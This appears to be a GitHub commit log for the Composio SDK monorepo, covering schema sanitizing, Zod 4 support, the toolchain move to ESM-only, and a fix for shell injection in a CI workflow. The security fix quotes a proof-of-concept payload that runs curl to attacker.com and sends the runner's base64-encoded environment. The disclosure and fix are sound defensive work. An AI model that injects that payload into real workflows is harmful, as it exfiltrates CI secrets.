supersedes the earlier #3067 / #2330 attempts.
## What this changes
- New `sanitize-keys.ts`: `sanitizeSchemaPropertyKeys()` rewrites
offending keys to conforming aliases (`$` → `dollar_`, `@` → `at_`, any
other illegal char → `_`, keys > 64 chars truncated with a deterministic
hash suffix), recursing through nested object `properties` **and array
`items`** schemas, keeps `required` in sync, and never mutates the
input. `restoreOriginalKeys()` reverses the rename on tool-call
arguments.
- `AnthropicProvider.wrapTool()` sanitizes the schema and stores a
per-tool reverse mapping; `executeToolCall()` restores the original
parameter names before the call reaches the Composio backend, so the
model sees `dollar_top` while the backend still receives `$top`.
## Supersedes #3574
This rebuilds @serhiizghama's #3574 — his three commits are
cherry-picked here with authorship preserved — rebased onto current
`next` and hardened after review. Changes on top of #3574:
1. **Resolved the merge conflict with `next` (it was semantic, not just
textual).** `next` now routes tool arguments through
`normalizeToolArguments()` (issue #2406 — models sometimes emit input as
a JSON *string*). `executeToolCall()` now **normalizes first, then
restores keys**; restoring a raw string would be a no-op, so the order
matters.
2. **Fixed the cross-level key-collision bug** flagged by Cursor Bugbot
on #3574. The reverse mapping was a single flat `sanitized → original`
lookup applied at every nesting depth, so an alias generated at one
level (`$top` → `dollar_top`) could rewrite a legitimately-named
`dollar_top` key at a *different* level and corrupt the backend payload.
The mapping is now shaped like the schema and walked in lockstep with
the value, so a rename only applies where its alias was generated.
3. **Sanitize keys nested in array `items`** (single schema and
positional tuples), which the original `properties`-only walk missed.
4. **Added a changeset** (`@composio/anthropic` patch) so the fix
actually ships.
## Testing
Unit tests in `sanitize-keys.test.ts` cover: illegal-character
rewriting, `.`/`-` preservation, deterministic length truncation,
same-level collision, nested recursion, array `items` (single + tuple),
no-mutation, the cross-level collision regression (#2 above), the
`wrapTool` → `executeToolCall` round-trip, and the JSON-string-input →
normalize → restore composition (#1 above / issue #2406).
> ⚠️ The full vitest suite could not run in my local environment due to
a workspace toolchain drift (a stale `node_modules` link made
`@composio/core` fail to resolve `picocolors`). The dependency-free
sanitizer logic was verified in isolation (including a counter-check
proving the old flat mapping corrupted the nested key), and `tsc
--noEmit` on the provider sources is clean. Please confirm CI is green
before merging.
---------
Co-authored-by: serhiizghama <zmrser@gmail.com>
|
||
|
|
aaabf5e2a6 |
fix(mastra): relax output schema so API nulls and extra keys pass validation (#3585)
## Problem Closes #3047. `MastraProvider.wrapTool` passes each tool's `outputParameters` to Mastra's `createTool` as `outputSchema`, and Mastra validates every tool result against it via `validateToolOutput` — on a mismatch it **drops the data and substitutes an error**. Composio's API-supplied output schemas are strict: optional fields are typed as non-nullable primitives (`{ type: "string" }`) and objects carry `additionalProperties: false`. Real third-party APIs (Linear, Notion, Jira, Slack, …) routinely return `null` for unset optional fields (`avatarUrl`, `assignee`, `description`, …) and occasionally extra keys. So strict validation rejects perfectly good responses and **truncates the tool output the model sees** — affecting a wide range of connector tools. This is the recommended fix (#2) from the issue: output validation of opaque third-party pass-through payloads provides little value and causes real breakage. ## What this changes A new `relaxOutputSchema` helper walks the (already dereferenced) output JSON schema and, non-mutating: - makes every typed node nullable — `type: "string"` → `["string", "null"]` (handles string and array forms, idempotent) - sets `additionalProperties: true` on object nodes that forbid (or omit) extra keys; a schema-valued `additionalProperties` is preserved and recursed into - recurses through `properties`, `patternProperties`, `items`, `anyOf`/`oneOf`/`allOf`, `$defs`/`definitions`, etc. `wrapTool` applies it to the output schema only (input schemas are untouched) before handing it to `@mastra/schema-compat`. ## Why this approach Both transforms only **widen** what validates, so any payload that passed before still passes — there is no behavioural change for already-valid output, and no breaking change. It keeps the existing `dereferenceJsonSchema` → `applyCompatLayer` pipeline intact and adds one focused, unit-tested step. The `$ref`/`$defs` type-preservation behaviour from the existing regression suite is retained (the dereferenced inner type is kept, just made nullable). ## Testing - New `test/relax-output-schema.test.ts` — 11 unit cases (nullable primitives, idempotency, nested objects, `additionalProperties` flip/preserve, array items, `anyOf` branches, empty schema, non-mutation, pass-through of non-objects). - Updated existing `mastra.test.ts` / `mastra-ref.test.ts` assertions to reflect the relaxed output shape. - `pnpm test` → 64/64 passing. `pnpm typecheck` and `pnpm build` clean; eslint/prettier clean on changed files. --------- Co-authored-by: Alberto Schiabel <jkomyno@users.noreply.github.com> Co-authored-by: jkomyno <alberto@composio.dev> |
||
|
|
15ccdeac76 |
docs: clarify Notion reconnect expiry (#3606)
## Summary - Add a concise Notion FAQ entry for the multi-agent reconnect workflow - Explain that reconnecting the same Notion user through the same Notion OAuth app can invalidate the older refresh token - Recommend reusing one active Notion connection per user/workspace/OAuth app across agents or projects ## Verification - `git diff --check` Co-authored-by: sjd9021 <samvit@hotmail.com> Co-authored-by: jkomyno <alberto@composio.dev> |
||
|
|
552859adc2 |
fix(core): expose auth config list search filters (#3647)
This PR: - exposes `search` and `showDisabled` on `authConfigs.list()` - forwards those filters to the generated `@composio/client` as `search` and `show_disabled` - documents the filters and adds a core changeset - covers forwarding in `AuthConfigs` tests |
||
|
|
b2efc824f6 |
fix(ci): prevent shell injection via version input in cli.test-installation.yml (#3594)
## Summary
Fixes a **GitHub Actions script (shell) injection** in
`.github/workflows/cli.test-installation.yml`. The `version` input — and
the `release_tag` output derived from it — were interpolated with `${{
}}` **directly into `run:` shell bodies**, so GitHub Actions substituted
the value into the script *source* before bash parsed it. Shell
metacharacters in the input therefore became executable code on the
runner.
PoC (`version` input): `"; curl http://attacker.com/$(env | base64) #`
rendered as:
```bash
raw_input=""; curl http://attacker.com/$(env | base64) #"
```
→ arbitrary command execution on the runner.
Reported via our bug-bounty inbox (credit: **@arrancarcero**). Internal
tracking: **SEC-585**.
## Fix
Pass each value through `env:` so the shell receives it as an inert
environment variable, never re-parsed as source — the same pattern
already used in `build-cli-binaries.yml`. Three sites:
| Step | Was inline | Now via `env:` |
|------|-----------|----------------|
| Resolve and validate target release | `inputs.version` |
`VERSION_INPUT` |
| Test install script (specific version) | `release_tag` | `RELEASE_TAG`
|
| Test custom install directory | `use_latest`, `release_tag` |
`USE_LATEST`, `RELEASE_TAG` |
Net change: **+9 / −4 lines**, single file.
## Behaviour & safety verification
- **`actionlint`** (1.7.12): no new real findings vs. the pre-change
baseline (the only count deltas are info/style shellcheck artifacts on
byte-identical, untouched blocks whose line numbers shifted).
- **YAML** parses cleanly.
- **Functional (bash)** — all legitimate inputs resolve identically:
- empty (push event) → `use_latest=true`
- `latest` → `use_latest=true`
- `1.2.3`, `1.2.3-beta.1` → `@composio/cli@<ver>`
- `@composio/cli@1.2.3` → passthrough
- malicious payload → treated as an **invalid version string** (no
command executed)
- No behaviour change for any valid trigger (`workflow_dispatch`,
`workflow_call`, tag `push`).
## Notes / optional follow-ups (not in this PR)
- Consider adding a least-privilege `permissions: { contents: read }`
block (mirrors `build-cli-binaries.yml`).
- The `workflow_call`/`push` `else` fallthrough still passes
unrecognized inputs through to `release_tag`; tightening it would reject
bad input at the source as well. Left out here to keep the fix minimal
and behaviour-preserving.
Co-authored-by: Saransh Rana <security@composio.dev>
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Co-authored-by: Alberto Schiabel <jkomyno@users.noreply.github.com>
|
||
|
|
f8cd90ce5a |
chore(ts): adopt Node 24 and pnpm 11 toolchain (#3646)
This PR: - uses plain `tsdown` package scripts and a shared typed `tsdown.config.base.ts` so Node 24 builds work without loader flags - switches the repo dev/build toolchain to Node `24.17.0` and pnpm `11.8.0` through `mise.toml`, `mise.lock`, and `pnpm-lock.yaml` - marks the root package as ESM with `type: module`, matching the TypeScript packages - keeps Node `22.22.3` in the runtime/E2E matrices as the minimum supported user runtime - changes the TypeScript build workflow back to a single build on the mise-managed toolchain and broadens path filters for package-manager/build config files - adds pnpm 11 build-script policy with `allowBuilds` and intentionally ignored `sharp` builds - enables tsdown ESM shims for the packaged CLI wrapper so `composio --help` runs under Node 22 and Node 24 Verified locally: - `CI=true pnpm install --frozen-lockfile` - `pnpm lint` - `pnpm run build:packages` - `COMPOSIO_E2E_NODE_VERSION=22.22.3 pnpm --filter @e2e-tests/node-esm-basic --filter @e2e-tests/node-cjs-basic run test:e2e:node` - `node ts/packages/cli/bin/composio.mjs --help` under Node `22.22.3` and `24.17.0`@composio/cli@0.2.32-beta.273 |
||
|
|
17fe881059 |
fix: apply automated code update (#3600)
This pull request contains an automated code update generated by Hex. Please review the diff carefully before merging. --- _Generated by Hex Security. Please review carefully before merging._ --------- Co-authored-by: Hex Security <255204168+hex-security-app[bot]@users.noreply.github.com> Co-authored-by: jkomyno <alberto@composio.dev>@composio/cli@0.2.32-beta.272 |
||
|
|
446c6f65bf |
fix(cli): unify virtual TypeScript compiler host resolution (#3182)
## Summary This PR resolves the TODO in `ts/packages/cli/src/generation/typescript/transpile.ts` by extracting the shared virtual TypeScript compiler-host logic used by both production transpilation and test validation. While doing that refactor, it also fixes a real virtual module-resolution issue: TypeScript may resolve in-memory files using `./file.ts`, `file.ts`, or absolute paths, and the previous setup did not handle those lookups consistently. ## Changes - added `ts/packages/cli/src/generation/typescript/virtual-compiler-host.ts` - extracted shared helpers for virtual file-map creation, compiler-host patching, and diagnostic formatting - updated `ts/packages/cli/src/generation/typescript/transpile.ts` to use the shared helper - updated `ts/packages/cli/test/__utils__/typescript-compiler.ts` to use the same shared helper - updated affected tests to validate complete generated module sets instead of incomplete single-file inputs - added a patch changeset for `@composio/cli` ## Type of change - [x] Bug fix - [x] Refactor/Chore ## How Has This Been Tested? Ran focused checks on the touched CLI TypeScript generation/compiler-host paths: ```bash pnpm --dir ts/packages/cli exec prettier --check src/generation/typescript/transpile.ts src/generation/typescript/virtual-compiler-host.ts test/__utils__/typescript-compiler.ts test/src/generation/typescript/generate.test.ts test/src/commands/ts/ts.generate.cmd.test.ts pnpm --dir ts/packages/cli exec vitest run test/__utils__/typescript-compiler.ts pnpm --dir ts/packages/cli exec vitest run test/src/generation/typescript/generate.test.ts --------- Co-authored-by: Alberto Schiabel <jkomyno@users.noreply.github.com> Co-authored-by: jkomyno <alberto@composio.dev>@composio/cli@0.2.32-beta.271 |
||
|
|
a987990c44 |
Document version-placeholder project API key permission endpoints (#3631)
## Summary\n- show project API key permission endpoints with
/api/{version}/... placeholders instead of duplicating versioned rows\n-
keep proxy execute documented for direct and session proxy paths\n\n##
Verification\n- bun run lint:links from docs/\n- git diff --check
|
||
|
|
e408af962a |
fix(py): align Python release metadata (#3634)
This PR: - fixes https://github.com/ComposioHQ/composio/actions/runs/27964338497/job/82754032484 - aligns `python/composio/__version__.py` with the current Python package version `0.16.0` - adds the missing `0.16.0` Python changelog entry for the dependency refresh - restores `pnpm run test:release-workflow` on `next` |
||
|
|
6a4cb542ae |
fix(core): resolve $ref/$defs so file flags behind a reference aren't dropped (#3566)
## Problem Tools whose parameter schemas express their file fields through a `$ref`/`$defs` indirection lose auto file handling: with `dangerouslyAllowAutoUploadDownloadFiles` enabled, a `file_uploadable` input behind a `$ref` is never staged (the local path is forwarded as-is and the backend rejects it), and the `format: "path"` hint never reaches the model. `GMAIL_GET_ATTACHMENT` is the canonical shape — its parameters nest the file flag two `$ref` hops deep: ``` data → $ref → #/$defs/GetAttachmentResponse → file → $ref → #/$defs/FileDownloadable (file_downloadable: true) ``` This is the TypeScript-SDK counterpart of #3506 (the Python side is handled separately in #3545). Two coupled causes defeat reference resolution: 1. **`$defs` is dropped on parse.** `ParametersSchema` (`src/types/tool.types.ts`) is a strict `z.object` that never declared `$defs`/`definitions`, so `ToolSchema.parse` stripped the root definition block off every tool. Each nested `$ref` was then dangling and unresolvable for *all* downstream consumers — providers that pass `inputParameters` straight to the model (e.g. `OpenAIProvider`) and the file modifier alike. (`JSONSchemaPropertySchema` already accepts both keywords; the root did not.) 2. **The file modifier never dereferences.** `transformProperties`, `schemaHasFileProperty`, and the upload/download hydration recurse `properties`/`anyOf`/`oneOf`/`allOf`/`items` but skip `$ref`, so a flag reachable only through a reference is invisible to the walk. ## Solution - Add `$defs`/`definitions` to `ParametersSchema` so the root definition block survives parsing and `$ref` pointers stay resolvable. - Dereference `inputParameters`/`outputParameters` in `FileToolModifier` (node runtime) before walking, via the existing `dereferenceJsonSchema` helper in `'sentinel'` mode — the same mode `MastraProvider` already uses. Tools that ship a `$ref` without a matching `$defs` target (#3307) degrade to a permissive object instead of throwing, exactly as today. No new dependencies; `dereferenceJsonSchema` already exists and is exercised by the Mastra provider. The edge (`workerd`) modifier is unchanged — its upload/download paths already throw as unsupported. ## Testing - `pnpm typecheck` — clean. - `pnpm test` (core) — 926 passing, including new cases: - `$ref`-indirected `file_uploadable` is marked `format: "path"` by `modifyToolSchema`. - `fileUploadModifier` stages a file whose flag is reachable only via `$ref`/`$defs`. - a `$ref` with no matching `$defs` target degrades gracefully (no throw). - root `$defs` survives `ToolSchema.parse` and nested `$ref` pointers remain intact. - Provider suites unaffected: `mastra` (51), `openai` (29), `vercel` (10), `anthropic` (19) all green. --------- Co-authored-by: jkomyno <alberto@composio.dev> |
||
|
|
fd88b2e5b7 |
fix(core): drop manual Content-Length in S3 upload PUT for compat with strict undici dispatcher (refs #3548) (#3549)
## Summary Remove the manual `Content-Length` header from the presigned-URL PUT in `uploadFileToS3`. Node.js's built-in fetch (undici) computes `Content-Length` from the request body itself and rejects any user-supplied value with `InvalidArgumentError: invalid content-length header` (`UND_ERR_INVALID_ARG`), which surfaces as `TypeError: fetch failed`. The result is that **`composio.files.upload()` has been broken on Node 22+ since the feature was introduced** (commit |
||
|
|
a423a799c4 |
chore(py): refresh Python dependencies (#3627)
Refreshes the Python SDK's core + provider dependency ranges and uv locks to the **newest cutoff-compatible** versions, and makes the locks self-consistent. ## What changed - Bumps core + provider dependency ranges (`pyproject.toml` / `setup.py`) and regenerates all three uv locks (root, `openai`, `claude_agent_sdk`) to the newest available versions. - Keeps `composio-client==1.41.0` (the current newest, released 2026-06-19). - Caps `crewai>=0.134.0,<0.135.0`: crewai 1.x requires `pydantic>=2.11.9,<2.13`, which conflicts with composio core's `pydantic>=2.13.4`. Staying on crewai 0.x keeps the newest pydantic for everything else; the provider only uses `crewai.tools.BaseTool`, which is unaffected. - Drops the one-shot `--exclude-newer` cutoff that had been recorded in the lock `[options]` but was not backed by any `[tool.uv]` config — it broke `uv lock --check` and held packages a few releases behind newest. - Pins nox-installed tools/stubs in `noxfile.py` to the matching newest versions. ## Resolution result - Root lock: **161 upgrades, 0 downgrades** vs `next`. - Provider locks: **0 downgrades** vs `next` (openai +14, claude_agent_sdk +29). ## Verification - `uv lock --check` — clean on all three locks. - `uv run --frozen --all-packages pytest python/tests/test_imports.py` — 8/8 passing. - `uv run --frozen nox -s chk` — ruff clean + mypy 0 issues across 80 source files. Supersedes https://github.com/ComposioHQ/composio/pull/3622 (which was opened from a fork). |
||
|
|
9f09b13f71 | Document version-placeholder permission endpoints | ||
|
|
4b76dbf70d |
fix(core): remove deprecated auth-config uuid field from V3 responses (#3633)
Replacement for #3528, preserving @lingala-composio's original commit, so CI can run from a same-repository branch. The original PR is from a fork. The TypeScript E2E workflow reads `COMPOSIO_API_KEY`, `COMPOSIO_BASE_URL_STAGING`, `COMPOSIO_USER_API_KEY`, `OPENAI_API_KEY`, and `ANTHROPIC_API_KEY` from repository secrets, and GitHub does not expose those secrets to fork PR workflow runs. That is why #3528's E2E checks failed with empty env values before exercising this SDK change. ## What & Why The Composio platform is removing the deprecated V1/V2 UUID-mirror fields from V3 API responses. The TypeScript SDK read and re-exposed the auth-config `uuid`, which was a deprecated mirror of the canonical nanoid `id`. This stops the SDK from depending on the removed field. ## Changes - Drop `uuid: authConfig.uuid` from `transformAuthConfigRetrieveResponse`. - Remove `uuid` from `AuthConfigRetrieveResponseSchema`. - Update AuthConfigs tests and fixtures to match the new contract. - Keep top-level `expectedInputFields` unchanged; only the deprecated nested bag was removed. ## Verification - `git diff --check origin/next...HEAD` - `pnpm --filter @composio/core test AuthConfigs` --------- Co-authored-by: lingala-composio <rahul.lingala@composio.dev> Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com> |
||
|
|
9914c90412 |
docs: remove non-existent alias parameter from initiate-to-link migration guide (#3540)
## What Removes the incorrect `alias` references from the initiate-to-link migration guide (`docs/content/docs/auth-configuration/migrating-initiate-to-link.mdx`). ## Why The `alias` parameter does **not** exist on either method: - TS: `composio.connectedAccounts.link()` / `composio.connectedAccounts.initiate()` - Python: `composio.connected_accounts.link()` / `composio.connected_accounts.initiate()` This was verified against the SDK source and the generated client. The doc should not claim the parameter exists. Real alias/label support may be added later; this change only corrects the docs for now. ## Changes - Dropped `alias` from the sentence: `` `callback_url` / `callbackUrl` works the same way on both methods. `` - Deleted the `` | `alias` | ✓ | ✓ | `` row from the comparison table. No other content changed (`callback_url`, `allow_multiple`, `config` rows are intact). 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com> |
||
|
|
d7cfd3c09c |
docs: add Notion connection expiry FAQ (#3601)
## Summary - Add a Notion FAQ entry for connection expiry reasons. - Cover user-initiated revocation/removal from Notion workspace connections. - Cover the same-user/same-OAuth-app reconnection pattern that can leave older Composio-managed connections with stale tokens. ## Validation - `git diff --check` - `bun run scripts/validate-links.ts` could not run because `bun install --frozen-lockfile` fails with existing docs lockfile drift: `lockfile had changes, but lockfile is frozen`. |
||
|
|
23f9053804 |
chore(ts): clean up dependencies and bump toolchain (#3623)
This PR: - consolidates and bumps TypeScript/npm dependencies across the monorepo, docs, examples, and e2e fixtures — no runtime behavior changes - **cleanup:** remove the unused `ansis` dependency from `@composio/cli` (`picocolors` is the actual color lib), drop the dead `uuid` catalog entry, catalog `dotenv` + `@types/bun` and repoint drifting examples/e2e onto them, and replace `chalk` with `picocolors` in `@composio/core` (smaller, ESM, already used by the CLI) - **TypeScript 6:** bump `typescript` `5.9 → 6.0.3` everywhere (catalog, CLI test fixtures, docs); drop vestigial `declaration`/`outDir` from the provider `tsconfig.json`s to fix the TS 6 `rootDir` regression (`TS6059`); add `ignoreDeprecations: "6.0"` in docs for the `baseUrl` deprecation - **toolchain:** `tsdown 0.18 → 0.22.3`, `vitest` + `@vitest/ui → 4.1.9`, `publint → 0.3.21`, `wrangler → 4.101.0` (each the latest version within the 3-day `minimumReleaseAge` gate) - **Effect + hono:** `effect 3.21.3`, `@effect/cli 0.75.2`, `@effect/platform 0.96.1`, `platform-bun 0.90.0`, `platform-node-shared 0.60.0`, `language-service 0.86.2`, `@effect/vitest 0.29.0`, `hono 4.12.25`; pin the Effect peer cohort (`printer`/`printer-ansi`/`typeclass`/`rpc`/`sql`/`cluster`/`experimental`/`workflow`) as `@composio/cli` devDeps so the auto-installed peers resolve coherently, and bump `@cloudflare/workers-types` to satisfy `wrangler`'s peer - changesets: `@composio/cli` patch (ansis removal) and `@composio/core` patch (chalk → picocolors) - verified: `build`, `typecheck` (tsgo + real `tsc` 6.0.3), and local tests (excluding e2e) all pass@composio/cli@0.2.32-beta.270 |
||
|
|
24e647fa16 |
test(ts/e2e): cover claude agent sdk on node current (#3620)
This PR: - builds on top of https://github.com/ComposioHQ/composio/pull/3495 - adds a Node.js `current` e2e suite for `@composio/claude-agent-sdk` - exercises the packaged provider through Claude Agent SDK `createSdkMcpServer` / `query()` with a deterministic local tool - forwards `ANTHROPIC_API_KEY` through Turbo, Docker e2e env passthrough, and the Node e2e workflow |
||
|
|
f3dd9343e6 |
fix(docs): preserve inline API paths in generated SDK reference (#3619)
## Summary The TypeScript SDK reference generator (`generate-docs.ts`) strips every `api/vN/...` substring from JSDoc descriptions to keep raw endpoint paths out of user-facing docs. The blanket regex also strips paths that live **inside intentional inline-code spans**, mangling them. Concretely, `ConnectedAccounts.initiate()`'s JSDoc: > The legacy `` `POST /api/v3/connected_accounts` `` endpoint that this method … currently renders in the generated reference as: > The legacy `` `POST `` endpoint that this method … — content lost and an unclosed code span. (Visible today in `docs/content/reference/sdk-reference/typescript/connected-accounts.mdx`.) ## Fix In `extractDescription`, split the text on inline-code spans and only strip bare API paths **outside** backticks; deliberate route references inside code spans are left intact. The path regex is also tightened to stop at code-span and punctuation boundaries (`` ` ``, `)`, `,`, `.`, `;`). The single affected reference page is regenerated in the same commit. ## Verification - `pnpm --filter @composio/core generate:docs` → only `connected-accounts.mdx` changes, restoring the full `` `POST /api/v3/connected_accounts` `` span. ## Context Salvaged from the now-superseded #3518 — re-derived against the current generator. The rest of #3518 (drift-gate workflow, regenerated MDX, generator rework) is obsoleted by the post-merge auto-regeneration workflow (`generate-sdk-docs.yml`) and #3613. |
||
|
|
cbbad15126 |
fix(ts): support Zod 4 custom tool schemas (#3495)
## Summary Stacked on #3494. This PR tightens the SDK's Zod boundary now that the TypeScript packages are moving to the newer Node/toolchain baseline. The main issue was asymmetric Zod support: `@composio/json-schema-to-zod` already supports projects with Zod 3 and Zod 4 by generating schemas through `zod/v3`, but custom tools converted schemas in the opposite direction through `zod-to-json-schema` only. With a bare Zod 4 `z.object(...)`, that path degraded to an empty JSON Schema. ## What changed - Added a shared core helper for Zod schema -> JSON Schema conversion. - Supports both `zod/v3` schemas and Zod 4 schemas via `z.toJSONSchema`. - Converts custom-tool input schemas in Zod 4 input mode, so defaulted fields stay optional in the generated JSON Schema. - Uses the shared helper in both custom-tool entrypoints: `createCustomTool(...)` and legacy `composio.tools.createCustomTool(...)`. - Updates custom-tool types so Zod 4 schemas infer their `execute` input type while keeping the session context parameter required for context-using tools. - Exposes `jsonSchemaToZodShape` through the narrow `@composio/core/utils/json-schema` subpath. - Switches the Claude Agent SDK provider to use that core subpath instead of depending directly on `@composio/json-schema-to-zod` or converting to a full Zod object and casting `.shape` out of it. - Adds patch changesets for `@composio/core` and `@composio/claude-agent-sdk`. ## Review hardening Follow-up fixes from a deeper pass over the new conversion boundary: - **Fixes a Zod 3 regression in the v3/v4 discriminator.** The detector keyed on `_def.type` being defined, but Zod 3 stores the element schema there for `z.array()` / `z.promise()` — so a Zod 3 array/promise `outputParams` was misrouted into `z.toJSONSchema` and crashed with `Cannot read properties of undefined (reading 'def')`. It now discriminates on `_def.type` being a string literal (Zod 4) versus a `ZodType` object (Zod 3), with a regression test. - **Mirrors input/output mode on the Zod 3 path.** The `io` mode was applied to the Zod 4 converter but dropped on the Zod 3 branch; it now maps onto `zod-to-json-schema`'s `pipeStrategy`/`effectStrategy` so `.default()` / `.transform()` / `.pipe()` schemas serialize consistently across both runtimes. Added a v3/v4 input-mode parity test. - **Fails loudly on a missing named definition** instead of returning the wrapper document, which downstream silently degraded into an empty object schema. - **Replaces broad `as never` casts** in the Claude Agent SDK provider with a single concrete `tool()` signature — this sidesteps the SDK's deep-instantiation error while keeping the handler's real argument type. - **Trims now-dead code** from the custom-tool schema types and conversion path. ## Verification - `mise exec -- pnpm --filter @composio/core test` (933 passing) - `mise exec -- pnpm --filter @composio/claude-agent-sdk test -- --runInBand` (17 passing) - `mise exec -- pnpm --filter @composio/core build` (publint + attw clean, emits `@composio/core/utils/json-schema`) - `mise exec -- pnpm --filter @composio/claude-agent-sdk exec tsc --noEmit --skipLibCheck` - `mise exec -- pnpm --filter @composio/claude-agent-sdk build` (publint + attw clean) - `mise exec -- pnpm install --frozen-lockfile` - `git diff --check` Note: `mise exec -- pnpm --filter @composio/core typecheck` still fails on the existing `src/utils/pusher.ts` `ChannelAuthorizationHandler` type mismatch. This PR does not touch that file; the core build and full core unit suite pass. |
||
|
|
31449b25a3 |
fix(release): register @composio/ts-builders in root workspaces (#3617)
This PR: - fixes the `next TS SDK Release` workflow failing at `changeset version` with `Found changeset drop-commonjs-entrypoints for package @composio/ts-builders which is not in the workspace` - adds `ts/packages/ts-builders` to the `workspaces` array in the root `package.json` `@manypkg/get-packages` (used by changesets) detects the root `workspaces` field and treats the repo as a yarn workspace, so it ignores `pnpm-workspace.yaml` entirely. `@composio/ts-builders` was only registered in `pnpm-workspace.yaml`, so changesets never saw it. The mismatch was latent until PR #3494 became the first changeset to bump that package. Verified `pnpm exec changeset status` now succeeds and lists all 16 packages, including `@composio/ts-builders`. |
||
|
|
025a657597 |
feat(ts): drop CommonJS support (#3494)
This PR moves the TypeScript SDK support floor to the latest Node.js 22 release and uses that as the point where we stop carrying custom CommonJS compatibility machinery. The e2e runtime coverage now exercises the latest Node 22, Node 24, and Node 25 lines, so the SDK is tested against the minimum supported version and the newer runtimes users are likely to adopt next. Because the SDK packages are still on `0.x`, the accompanying changeset uses `minor` bumps while calling out that this is a breaking change inside the existing 0.x line. It also moves pnpm under mise on this Node 22 layer. That belongs here, not in #3493, because the pinned `pnpm@10.28.2` requires Node.js `>=22.13`. Removing Corepack is intentional: Node.js documents that Corepack is no longer distributed starting with Node.js v25, so relying on `corepack enable` would keep a toolchain dependency that is already on the way out of the Node distribution. ## What changed - Pins the local/toolchain Node.js floor to `22.22.3` in `mise.toml`, `mise.lock`, `toolchain-versions.json`, and root `devEngines`. - Pins pnpm in `mise.toml` as `"npm:pnpm" = "10.28.2"` and makes mise the single source of truth for the pnpm version. Removes the root `packageManager` / `devEngines.packageManager` Corepack pin entirely (rather than keeping a second copy of the version that could drift) and removes stale `packageManager` metadata from real TS packages/examples and generators. - Sets `dangerouslyDisablePackageManagerCheck: true` in `turbo.jsonc` so Turbo discovers pnpm from `pnpm-lock.yaml` instead of requiring a `packageManager` field. Without this, Turbo fails workspace resolution (`Could not resolve workspaces -> Missing 'packageManager' field`), which is the only reason the field would otherwise need to stay. - Replaces `corepack enable` in the shared setup action with mise-managed pnpm. The E2E Docker images install bun + pnpm directly from `mise.toml`/`mise.lock` (with `dangerouslyDisablePackageManagerCheck`-style separation: Node/Deno stay on the base image as the test matrix axis and are disabled via `MISE_DISABLE_TOOLS` so mise does not shadow them; the tool binaries are symlinked into `/usr/local/bin`). No `BUN_VERSION`/`PNPM_VERSION` build args are threaded from the host anymore, and bun+pnpm now carry `mise.lock` checksum verification. - Extends the install-time toolchain check to validate pnpm against mise alongside Bun. - Sets the Node E2E matrix and install fallback checks to `22.22.3`, `24.16.0`, and `25.9.0`. - Makes TS package builds ESM-only: `tsdown` now emits `.mjs` / `.d.mts` only and uses the ATTW `esm-only` profile. - Removes explicit `require` / `.cjs` / `.d.cts` package export paths and internal import mappings from the public TS SDK packages. - Marks public TS SDK packages as `type: module` where they were missing it. - Replaces the remaining runtime `require('pusher-js')` with dynamic ESM import. - Deletes the legacy CJS example. - Reintroduces `node/cjs-basic` as a modern Node `require(esm)` interop E2E: it verifies `require('@composio/core')` works through Node's native ESM loader on Node 22, 24, and 25 while resolving to `dist/index.mjs`, not a `.cjs` artifact. - Removes `.cjs` / `.cts` handling from example validation and CLI project-language detection. - Updates provider scaffolding so newly generated providers are ESM-only. - Adds a minor changeset warning that CommonJS callers can only rely on Node's native `require(esm)` interop and that custom CommonJS compatibility machinery is gone. ## Bundled behavior changes Two changes here are technically independent of the CommonJS removal but ride along because they touch the same files and ship in the same release cut. Calling them out explicitly so they are not missed in review: - **`PusherUtils` realtime channel auth (`@composio/core`).** Replacing the runtime `require('pusher-js')` with a dynamic ESM `import()` was done alongside conforming `channelAuthorization` to pusher-js's typed `customHandler(params, callback)` contract. The previous `(authOptions) => Promise` shape did not match pusher-js's actual calling convention — it read `endpoint`/`headers`/`params` off an argument that pusher-js never passes — so this also fixes that latent mismatch. New unit tests (`ts/packages/core/test/utils/pusher.test.ts`) cover the auth request shape (endpoint, `x-api-key` header, JSON `socket_id`/`channel_name` body) and the success / invalid-JSON / network-failure callback paths. - **CLI meta-tool slug list (`@composio/cli`).** Drops `COMPOSIO_UPSERT_RECIPE` and `COMPOSIO_GET_RECIPE` from `META_TOOL_SLUG_LIST` in `tools-executor.ts`; `@composio/client` alpha.74 removed those slugs from the `SessionExecuteMetaParams['slug']` union. The list is declared `satisfies ReadonlyArray<SessionExecuteMetaParams['slug']>`, so this is enforced at compile time (`pnpm typecheck`) — keeping the stale slugs would be a type error — and needs no separate runtime test. ## Verification - Verified latest Node 22/24/25 releases from the official Node dist index: `22.22.3`, `24.16.0`, `25.9.0` (https://nodejs.org/dist/index.json). - Verified Node docs state Corepack is no longer distributed starting with Node.js v25: https://nodejs.org/download/release/v22.22.3/docs/api/corepack.html - `mise exec -- pnpm --version` -> `10.28.2` - `mise exec -- pnpm install --frozen-lockfile` - `mise exec -- bun run ts/scripts/pre-install/check-toolchain.ts` - `mise exec -- pnpm --filter @e2e-tests/utils typecheck` - `mise exec -- pnpm --filter @e2e-tests/node-cjs-basic typecheck` - `mise exec -- pnpm --filter @e2e-tests/node-cjs-basic test:e2e:node` - `mise exec -- pnpm --filter @e2e-tests/node-esm-basic typecheck` - `mise exec -- pnpm --filter @composio/cli typecheck` - `mise exec -- pnpm --filter @composio/cli test -- --runInBand` - `mise exec -- pnpm --filter @composio/core typecheck` - `mise exec -- pnpm --filter @composio/core exec vitest run test/utils/pusher.test.ts` - `mise exec -- pnpm run build:packages` - `mise exec -- turbo run build --dry-run` resolves all workspace packages with no root `packageManager` field (pnpm discovered from `pnpm-lock.yaml`). - `mise exec -- pnpm --filter @composio/cli exec vitest run test/src/services/project-environment-detector.test.ts` - `mise exec -- pnpm exec prettier --check ...` - `docker build -f ts/e2e-tests/_utils/Dockerfile.node --build-arg NODE_VERSION=24.16.0 -t composio-e2e-node:misecheck .` (also `Dockerfile.deno` with `DENO_VERSION=2.6.7 NODE_MAJOR=22`) — both build green; runtime resolves Node/Deno from the base image and pnpm 10.28.2 / bun 1.3.10 from mise. - `docker manifest inspect node:24.16.0-slim` - `docker manifest inspect node:25.9.0-slim` - `bash -n ts/scripts/create-provider.sh && git diff --check` - `ruby -e "require 'yaml'; YAML.load_file('.github/workflows/ts.test-e2e.yml')"` - Tracked example validation in a clean temporary tree: `Validated 21 example packages.`@composio/cli@0.2.32-beta.269 |
||
|
